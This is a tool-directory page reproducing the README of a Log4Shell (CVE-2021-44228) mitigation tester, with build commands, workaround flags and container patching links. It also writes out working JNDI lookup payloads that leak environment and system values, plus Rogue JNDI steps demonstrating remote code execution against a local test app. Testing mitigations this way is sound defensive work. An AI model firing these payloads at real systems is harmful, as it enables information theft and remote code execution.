Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4shell-mitigation-tester — Log4Shell CVE-2021-44228 缓解措施测试工具 | Kitploit
工具/GitHubGitHub/lhotari/log4shell-mitigation-tester
容器安全漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHublhotari/log4shell-mitigation-tester

log4shell-mitigation-tester

Log4Shell CVE-2021-44228 缓解措施测试工具

查看仓库
1614年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Log4Shell 缓解措施测试器

这是一个使用 Log4j 2.14.1 的示例应用程序。

源代码:App.java

其目的是能够测试不同的缓解措施。这些缓解措施在 Microsoft 对 CVE-2021-44228 Apache Log4j 2 的回应 中也有提及。

用法示例

示例适用于 bash shell

构建应用程序

root@kitploit:~
./gradlew assemble

不采用任何变通方案运行

root@kitploit:~
java -jar app/build/libs/app-all.jar

通过在命令行传入字符串来测试某些消息查找功能:

root@kitploit:~
FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

测试 -Dlog4j2.formatMsgNoLookups=true 系统属性变通方案,https://twitter.com/brunoborges/status/1469186875608875011

root@kitploit:~
java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

测试 LOG4J_FORMAT_MSG_NO_LOOKUPS=true 环境变量变通方案,https://twitter.com/brunoborges/status/1469462412679991300

root@kitploit:~
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

测试 JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true 环境变量变通方案,https://twitter.com/brunoborges/status/1469426918550245377

root@kitploit:~
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

测试 classpath 中的 log4j2.component.properties 变通方案:

root@kitploit:~
java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

眼见为实 - 利用此示例应用程序

当你运行该应用程序时,你将看到漏洞的实际表现:

root@kitploit:~
❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

你也可以调试该解决方案,并在存在漏洞的代码处设置断点,该代码位于 https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135

将调试器设置在类 org.apache.logging.log4j.core.pattern.MessagePatternConverter 的第 128 行。

当缓解措施生效时,调试器不应进入该代码块。LDAP 调用也不应被尝试:

root@kitploit:~
❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]

使用 Rogue JNDI 进行利用

演示信息泄露依赖于 https://github.com/veracode-research/rogue-jndi/pull/11 的更改

在一个终端中

root@kitploit:~
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# 使用 PR https://github.com/veracode-research/rogue-jndi/pull/11 的更改进行构建
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# 示例命令适用于 Linux,在其他操作系统上请移除 `-c "zenity --progress --pulsate --text=You_are_hacked"`,或使用任何合适的 RCE 命令
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

在另一个终端中:

root@kitploit:~
# 演示信息泄露
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# 通过添加 "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true" 演示 RCE
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'

Log4Shell 的 Kubernetes / docker 缓解方案

有必要立即缓解 Log4Shell,而无需等待新的软件版本。以下是一些快速有效的解决方案。

使用设置 LOG4J_FORMAT_MSG_NO_LOOKUPS=true 环境变量的薄覆盖层修补现有 docker 镜像

这是一个通用解决方案: https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay

使用 Log4j 2.15.0 jar 文件修补现有 docker 镜像的示例

这不是通用的,示例来自 apache/pulsar: https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228

使用 LOG4J_FORMAT_MSG_NO_LOOKUPS=true 环境变量修补 k8s 部署

https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3

下载工具